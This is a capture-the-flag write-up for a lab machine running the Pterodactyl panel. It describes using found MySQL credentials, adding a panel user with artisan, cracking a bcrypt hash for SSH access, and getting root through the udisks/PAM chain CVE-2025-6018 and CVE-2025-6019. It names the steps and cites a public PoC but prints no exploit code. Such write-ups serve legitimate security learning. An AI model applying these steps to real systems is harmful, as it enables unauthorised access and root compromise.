We can connect by using mysql on the box: mysql -u pterodactyl -pPteraPanel, but: ERROR 1045 (28000): Access denied for user 'pterodactyl'@'localhost' (using password: YES)

I figure I’ll manually specify 127.0.0.1 rather than allowing mysql to resolve to localhost using -h 127.0.0.1, and I can successfully see our databases, notably the locked panel:

MariaDB [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| panel |
| test |
+--------------------+
3 rows in set (0.001 sec)

panel’s users table contains some hashes (of which I couldn’t crack):

I poked around in the root /var/www/pterodactyl directory and found the artisan binary, of which I could potentially just create my own user using artisan p:user:make:

Which is then appended to the mysql users db:

So, I’ll try logging into the pterodactyl panel with my new credentials (mdunn99:password). We have direct access to the other users we saw earlier in the database and can change their passwords:

Upon numerous SSH attempts, I was still prompted with a password requirement, and overwriting those users’ passwords was preventing me from using it as a potential duplicate password for the SSH password.

I revisited the cracking attempt and successfully cracked user phileasfogg3’s bcrypt hash which matched their SSH password, and retrieved the user.txt flag.

Root Privilege Escalation

As I’m checking out files with capabilities and anything that looks interesting on the file system (including the previously mentioned artisan binary), I’m running a linpeas.sh instance, which notifies me that there are some mail messages on the phileasfogg3 user. Let’s read:

From headmonitor@pterodactyl Fri Nov 07 09:15:00 2025
Delivered-To: phileasfogg3@pterodactyl
Received: by pterodactyl (Postfix, from userid 0)
id 1234567890; Fri, 7 Nov 2025 09:15:00 +0100 (CET)
From: headmonitor headmonitor@pterodactyl
To: All Users all@pterodactyl
Subject: SECURITY NOTICE — Unusual udisksd activity (stay alert)
Message-ID: 202511070915.headmonitor@pterodactyl
Date: Fri, 07 Nov 2025 09:15:00 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit

Attention all users,

Unusual activity has been observed from the udisks daemon (udisksd). No confirmed compromise at this time, but increased vigilance is required.

Do not connect untrusted external media. Review your sessions for suspicious activity. Administrators should review udisks and system logs and apply pending updates.

Report any signs of compromise immediately to headmonitor@pterodactyl.htb

— HeadMonitor
System Administrator

grepping systemctl for udisks confirms this service is running:

phileasfogg3@pterodactyl:~> systemctl | grep udisks
udisks2.service ... loaded active running | Disk Manager

Per the Arch Linux wiki::

udisksd(8) is started on-demand by D-Bus and should not be enabled explicitly. It can be controlled through the command-line with udisksctl(1).

Running udisksctl dump will include the version number for udisks2: 2.9.2, which reveals a vulnerability that affects a few operating systems. To confirm if the operating system of the box is vulnerable, I read /etc/os-release: openSUSE Leap 15.6, which is a listed vulnerable target for udisks2 versions >= 2.9.2: Source: https://www.suse.com/security/cve/CVE-2025-8067.html

A PoC is published by born0monday. After running it, I’m unfortunately met with this error:

gi.repository.GLib.Error: g-io-error-quark: GDBus.Error:org.freedesktop.UDisks2.Error.NotAuthorizedCanObtain: Not authorized to perform operation (36)

A published seclists.org mail/blog provides us with a helpful hint for getting around this issue:

So really depends how is your session classified and yes, the attack surface is slightly lower for non-local seats. However, combine it with other CVEs, notably CVE-2025-6018, and you have a bigger problem.

CVE-2025-6018: LPE from unprivileged to allow_active in *SUSE 15’s PAM https://www.openwall.com/lists/oss-security/2025/06/17/4

which led me to:

CVE-2025-6018: LPE from unprivileged to allow_active in SUSE 15’s PAM CVE-2025-6019: LPE from allow_active to root in libblockdev via udisks

and a website that walks me through the whole process of exploiting openSUSE Leap 15 “via the udisks daemon.” I successfully create a malicious payload (on the attack machine) and mount it using a loop block (with udisks) on the victim machine, giving me a root shell.